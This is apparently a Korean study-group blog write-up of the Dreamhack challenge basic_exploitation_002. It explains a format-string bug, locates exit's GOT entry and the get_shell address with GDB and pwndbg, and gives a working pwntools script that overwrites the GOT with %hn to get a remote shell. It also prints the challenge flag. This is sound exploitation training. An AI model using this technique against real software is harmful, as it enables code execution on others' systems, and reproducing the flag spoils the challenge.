문제

문제파일
풀이
다운받은 문제 파일 풀이 진행할 폴더로 이동하기

wsl 실행하기

basic_exploitation_002.c 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf); //취약점 발생 지점
exit(0);
}

- initialize 함수는 표준 입력(stdin)과 표준 출력(stdout)의 버퍼링을 비활성화(_IONBF)한다. 이는 서버와 네트워크로 통신할 때 데이터가 지연 없이 즉시 전송되도록 하기 위함이다.
- alarm(30)은 프로그램이 실행된 후 30초가 지나면 SIGALRM 시그널을 발생시킨다. 시그널이 발생하면 alarm_handler가 호출되어 프로그램을 강제 종료한다. 이는 무한 대기 등으로 인해 서버 자원이 낭비되는 것을 방지하는 목적이다.

- 목표함수
- get_shell 함수는 내부적으로 /bin/sh를 실행하여 공격자에게 Shell을 제공하는 역할을 한다.
- 본래의 정상적인 프로그램 흐름에서는 이 함수를 호출하는 경로가 존재하지 않는다. 따라서 공격자는 취약점을 이용해 프로그램의 실행 흐름을 이 함수로 조작해야 한다.

- 취약점 핵심 부분
- char buf[0x80];을 통해 스택에 0x80바이트(128바이트) 크기의 버퍼를 할당한다.
- read(0, buf, 0x80); 함수는 표준 입력(0)으로부터 buf 배열의 크기만큼 데이터를 안전하게 입력받는다. 입력 크기가 제한되어 있으므로 여기서는 버퍼 오버플로우가 발생하지 않는다.
- 취약점 발생 지점: printf(buf);
- printf 함수는 원래 printf("%s", buf);와 같이 포맷 스트링(형식 지정자)을 첫 번째 인자로 전달받아야 안전하다.
- 그러나 이 코드는 사용자가 입력한 데이터(buf)를 형식 지정자 없이 printf에 그대로 전달한다. 이로 인해 포맷 스트링 버그가 발생한다.
취약점 원인(FSB)
printf 함수는 첫 번째 인자로 들어온 문자열에서 %x, %p, %n 등의 포맷 스트링 문자(형식 지정자)를 찾는다.
만약 지정자를 발견하면, 그에 대응하는 인자가 함수에 전달되었을 것으로 가정하고 레지스터나 스택의 메모리 값을 읽거나 쓴다.
이 코드에서는 사용자가 입력한 buf가 그대로 첫 번째 인자로 들어가기 때문에, 사용자가 %p를 입력하면 printf는 스택의 메모리 주소를 출력하고, %n을 입력하면 스택에 특정 값을 기록할 수 있게 된다.
보호 기법 및 환경 확인

pwn checksec basic_exploitation_002
- 32비트 환경 (i386-32-little): 함수 호출 시 인자를 레지스터가 아닌 주로 스택을 통해 전달한다.
- Partial RELRO: GOT(Global Offset Table) 영역에 쓰기 권한이 유효하므로, GOT Overwrite 공격이 가능하다.
- No PIE: 프로그램의 코드 주소가 고정된다. 따라서 get_shell 함수의 주소와 exit 함수의 GOT 주소가 실행할 때마다 변하지 않고 항상 일정하다.
- NX, ASLR가 적용됐다
즉, exit()의 GOT 값을 get_shell()의 주소로 (FSB를 통해)overwrite하여 실행시키면 된다.
gdb로 정보 확인해보자
gdb basic_exploitation_002
트러블슈팅(최종 해결법은 아래에 있음
[에러 1] Permission denied (실행 권한 없음)

처음 GDB 내에서 run 명령어를 실행했을 때 권한 거부 에러가 발생했다.
- 원인: 바이너리 파일에 실행 권한이 없었기 때문이다.
- 해결 명령어: 터미널로 빠져나와 실행 권한을 강제로 부여했다.
$ chmod 777 basic_exploitation_002
[에러 2] 무한 다운로드 및 파이썬 NoneType 에러

GDB를 실행하면 우분투 서버에서 디버깅 심볼을 자동으로 받으려 지연이 발생했고, Ctrl + C로 이를 취소하자 NoneType 호환성 에러가 발생했다.
- 원인: debuginfod 기능이 켜져 있어 발생한 문제다.
- 해결 명령어: 설정 파일(.gdbinit)을 초기화하고 강제로 해당 기능을 비활성화했다.
$ rm -f ~/.gdbinit
$ echo "set debuginfod enabled off" > ~/.gdbinit
$ gdb basic_exploitation_002 -ex "set debuginfod enabled off"

[에러 3] run 입력 후 멈춤 현상

중단점을 걸고 실행(run)하면 터미널이 반응이 없는 것처럼 멈추는 현상이 있었다.
- 원인: 오류가 아니라 프로그램 내부의 read(0, buf, 0x80) 함수가 사용자로부터 키보드 입력을 대기하고 있는 정상적인 상태였다.
- 해결 명령어: 터미널 창에 더미 데이터 aaaa를 입력하고 엔터를 누르자, read 함수를 통과하여 우리가 설정한 main+44 브레이크포인트에 정확히 도달했다.
(gdb) b *main+44
(gdb) run
aaaa
Breakpoint 1, 0x08048648 in main ()
[에러 4] got 및 x/i 명령어 에러 (Stripped 바이너리)

pwndbg 플러그인이 로드되지 않아 got 명령어가 먹히지 않았고, x/i exit@plt 입력 시 디버깅 심볼이 없다는(No symbol table) 에러가 떴다. 메모리 맵 전체를 보여주는 info files 명령어를 통해 섹션 주소를 확인한 후, 메모리를 직접 들여다보는 x 명령어로 exit 함수의 정확한 GOT 주소를 알아냈다.
아래 명령어로 데이터 영역 주소 알아보자
(gdb) info files

ELF 파일 구조에서 데이터를 다루는 영역은 다음과 같은 고유의 섹션 이름을 가진다. 이 이름들이 붙은 주소 범위를 보면 된다.
- .got.plt: 라이브러리 함수의 실제 주소가 저장되는 GOT(Global Offset Table) 영역이다. (우리가 덮어쓸 공간이다.)
- .data: 초기화된 전역 변수들이 저장되는 공간이다.
- .bss: 초기화되지 않은 전역 변수들이 저장되는 공간이다.
출력 결과를 보면 이 프로그램의 전역 데이터와 GOT 영역은 전부 0x0804a000번지 주변에 모여 있다는 것을 알 수 있다.
우리가 찾고 싶었던 exit 함수의 GOT 주소 역시 .got.plt 섹션의 주소 범위인 0x0804a000과 0x0804a030 사이에 위치하고 있다.

코드 영역(함수들이 실행되는 공간)인 .text는 0x080484b0 - 0x080486b2 범위에 모여 있고, 변수나 주소 정보들이 저장되는 데이터 영역은 .got.plt, .data, .bss라는 이름이 붙은 0x0804a000 번대 영역을 보고 파악하는 것이다.
위 명령어로 데이터 영역 주소가 0x0804a000 이후임을 확인한 뒤 아래 명령어를 실행했다.
x/40xw 0x0804a000

32비트 환경이므로 한 데이터(1개 열)당 4바이트씩 차지한다. 행 시작 주소에서 오른쪽으로 갈 때마다 주소가 4씩 더해진다.
최종 오류 해결 방법
1. 64비트 환경에 32비트(i386) 아키텍처 추가
sudo dpkg --add-architecture i386
2. 패키지 리스트 업데이트
sudo apt-get update
3. 32비트 구동에 필요한 핵심 라이브러리들 강제 설치
sudo apt-get install libc6:i386 libncurses6:i386 libstdc++6:i386
4. GDB를 괴롭히던 무한 디버깅 심볼 다운로드 기능(DEBUGINFOD)을 환경 변수단에서 차단
echo 'export DEBUGINFOD_URLS=""' >> ~/.bashrc
5. 변경된 환경 변수 시스템에 즉시 반영
source ~/.bashrc
이 설정을 마친 후 다시 GDB를 실행하자 더 이상 지연이나 꼬임 없이 깔끔하게 pwndbg> 프롬프트가 정상 로드되었다.
pwndbg를 이용한 주소 및 오프셋 검증
info func는 GDB에서 "이 프로그램 안에 어떤 함수들이 들어있는지 목록과 주소를 전부 보여달라"고 요청하는 명령어다.
공격을 성공시키려면 exit 함수의 GOT에 덮어쓸 목적지 주소(get_shell)를 정확히 알고 있어야 한다.
info func

바이너리 내에 존재하는 함수 목록을 출력하여 목표 함수인 get_shell()의 주소가 0x08048609 임을 확인한다.
pwndbg> b *main+44
pwndbg> run
aaaa (중간에 read 함수 대기 상태가 되면 aaaa 입력 후 엔터)
정상적으로 브레이크포인트에 히트하면 다음과 같이 레지스터와 디스어셈블리 창이 출력된다.

pwndbg> run
Starting program: /home/dada/Interlude_System_Study/basic_exploitation_002
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
��
Breakpoint 1, 0x08048648 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────[ LAST SIGNAL ]─────────────────────────
Breakpoint hit at 0x8048648
─────[ REGISTERS / show-flags off / show-compact-regs off ]──────
EAX 5
EBX 0xf7fade34 ◂— 0x230d2c /* ',\r#' */
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048650 (__libc_csu_init) ◂— push ebp
EBP 0xffffc748 ◂— 0
ESP 0xffffc6c4 ◂— 0
EIP 0x8048648 (main+44) —▸ 0xfffe23e8 ◂— 0
───────────────[ DISASM / i386 / set emulate on ]────────────────
b► 0x8048648 <main+44> call exit@plt <exit@plt>
status: 0
0x804864d nop
0x804864f nop
0x8048650 <__libc_csu_init> push ebp
0x8048651 <__libc_csu_init+1> push edi
0x8048652 <__libc_csu_init+2> push esi
0x8048653 <__libc_csu_init+3> push ebx
0x8048654 <__libc_csu_init+4> call __x86.get_pc_thunk.bx <__x86.get_pc_thunk.bx>
0x8048659 <__libc_csu_init+9> add ebx, 0x19a7
0x804865f <__libc_csu_init+15> sub esp, 0xc
0x8048662 <__libc_csu_init+18> mov ebp, dword ptr [esp + 0x20]
────────────────────────────[ STACK ]────────────────────────────
00:0000│ esp 0xffffc6c4 ◂— 0
01:0004│-080 0xffffc6c8 —▸ 0xf7fc170a ◂— 0
02:0008│-07c 0xffffc6cc ◂— 1
03:000c│-078 0xffffc6d0 ◂— 0
04:0010│-074 0xffffc6d4 ◂— 1
05:0014│-070 0xffffc6d8 —▸ 0xf7ffda20 ◂— 0
06:0018│-06c 0xffffc6dc ◂— 0
07:001c│-068 0xffffc6e0 ◂— 0
──────────────────────────[ BACKTRACE ]──────────────────────────
► 0 0x8048648 main+44
1 0xf7da1cb9 None
2 0xf7da1d7c __libc_start_main+140
3 0x80484d1 _start+33

- 현재 프로그램의 실행 흐름(EIP)이 메인 함수의 마지막 종착지인 exit 함수 바로 직전(main+44)에 멈춰있다.
- 이 명령어가 실행되는 순간 프로그램은 exit 함수의 GOT 주소를 참조하여 점프하게 된다.

- 01:0004 슬롯을 보면 내가 read 함수 대기 상태에서 입력했던 데이터인 'aaaa\n'가 스택 메모리에 들어가 있는 것을 볼 수 있다.
- 포맷 스트링 버그를 사용할 때 이 스택 위치를 기준으로 오프셋(Offset)을 계산하여 인자 위치를 맞추게 된다. 스터디장 풀이에서 오프셋을 계산할 때 이 스택 구조가 사용된다.
info files

info files 출력 결과 중 .got.plt 섹션의 주소 범위를 보고 이 프로그램의 GOT 영역이 0x0804a000 번대 주변에 모여 있다는 것을 파악할 수 있다.
이어서 pwndbg 플러그인의 got 명령어를 입력하여 실제 라이브러리 함수들의 GOT 주소 표를 출력한다.
got 해보기

pwndbg가 출력한 라이브러리 함수 이름표를 통해, exit 함수의 GOT 엔트리 주소가 0x0804a024 임을 알았다.
현재 값은 함수가 실제로 실행되기 전이므로 PLT 내부 주소인 0x08048476을 가리키고 있다.
두 명령어의 연계를 통해 .got.plt 범위 내에 존재하는 exit 함수의 실제 GOT 엔트리 주소가 0x0804a024 임을 교차 검증 완료한다.
요약
- info func: 덮어쓸 값(get_shell: 0x08048609)을 찾는 명령어.
- got: 값을 덮어쓸 배달 위치(exit의 GOT: 0x0804a024)를 찾는 명령어. 두 주소를 조합하여 최종 페이로드를 완성하는 구조다.
익스플로잇
- 프로그램의 정상적인 흐름은 printf(buf);를 실행한 후 exit(0);을 호출하며 종료된다.
- 따라서 exit()가 호출되는 순간 셸을 실행하는 get_shell()이 대신 실행되도록, exit의 GOT 주소에 get_shell의 주소를 덮어써야 한다.
- gdb를 통해 확인한 각 주소는 다음과 같다.
- 목표 함수 주소
- get_shell() 주소: 0x08048609
- 변조 대상 주소
- exit()의 GOT 주소: 0x0804a024
- 목표 함수 주소
- 두 주소 모두 상위 2바이트가 0x0804로 동일하므로, 리틀 엔디언 기준 하위 2바이트 값인 0x8609 영역만 변조하는 2바이트 쓰기 지정자(%hn)를 활용한다.
① 쓰기 값(문자열 길이) 계산
0x8609를 10진수로 변환하면 34313이다. 포맷 스트링 맨 앞부분에 %34313c 형식을 주어 34,313바이트를 먼저 화면에 출력시켜 채운다.
② 오프셋(Offset) 및 구조 정렬
32비트 함수 호출 규약에 따라 포맷 스트링 문자열이 스택에서 몇 번째 인자로 매핑되는지 계산해야 한다.
변조할 주소 값이 페이로드의 정확히 5번째 인자 위치(offset = 5)에 매핑되도록 전체 포맷 스트링의 뼈대 길이를 정확히 16바이트로 조절해 주는 정렬(Padding) 로직을 포함한다.
최종 페이로드 형태
f"%{under}c" + b"%5$hn" + b"A"*to_add + p32(exit_got)
공격 스크립트
아래 명령어로 파이썬 스크립트 생성하기
nano exploit.py
아래 코드 붙여넣기
from pwn import *
# 1. 드림핵 문제 페이지에서 제공한 실제 서버 주소와 포트 매핑
p = remote("host3.dreamhack.games", 21635)
e = ELF("./basic_exploitation_002")
exit_got = e.got["exit"] # GDB로 검증한 주소: 0x0804a024
get_shell = e.symbols["get_shell"] # Target 주소: 0x08048609
# 2. get_shell 주소를 바이트열로 바꾼 뒤 하위 2바이트 추출 및 10진수 변환
get_shell_bytes = p32(get_shell) # 리틀 엔디언 변환
under = get_shell_bytes[:2] # 하위 2바이트 (\x09\x86) 슬라이싱
under = int.from_bytes(under, "little") # 10진수 정수형 변환 (34313)
# 3. 페이로드 정렬 및 빌드
payload = f"%{under}c".encode() # %34313c
payload += b"%5$hn" # 5번째 오프셋에 2바이트 쓰기 지정
# 전체 구조가 스택 슬롯에 맞춰 16바이트가 되도록 여백 계산 및 패딩(A) 추가
to_add = 16 - len(payload)
payload += b"A" * to_add
# 5번째 인자 위치가 된 슬롯 바로 뒤에 변조 대상인 exit의 GOT 주소 결합
payload += p32(exit_got)
# 4. 공격 데이터 원격 서버 전송 및 셸 획득
p.send(payload)
p.interactive()

실행하기
python3 exploit.py

- 실행 직후 드림핵 원격 서버로부터 대량의 공백 문자(34,313바이트)가 터미널로 쏟아져 들어온다.
- 출력이 완전히 멈추고 화면 제일 아래쪽에 [+] Switching to interactive mode 문구가 뜨면 성공이다.
- 원격 서버의 셸을 완전히 제어하고 있는 상태이므로, 그 상태 그대로 아래 명령어를 입력한다.
$ cat flag

플래그
DH{59c4a03eff1e4c10c87ff123fb93d56c}
성공이다

'System Hacking > 인터루드 스터디' 카테고리의 다른 글
| 260528 PIE, RELRO 개념정리 (0) | 2026.05.28 |
|---|---|
| 260521 보호기법, 링크 개념정리 (0) | 2026.05.27 |
| 260514 [picoCTF] format string 1 (0) | 2026.05.14 |
| 260514 [picoCTF] format string 0 (0) | 2026.05.14 |
| [picoCTF] buffer overflow 2 (0) | 2026.04.02 |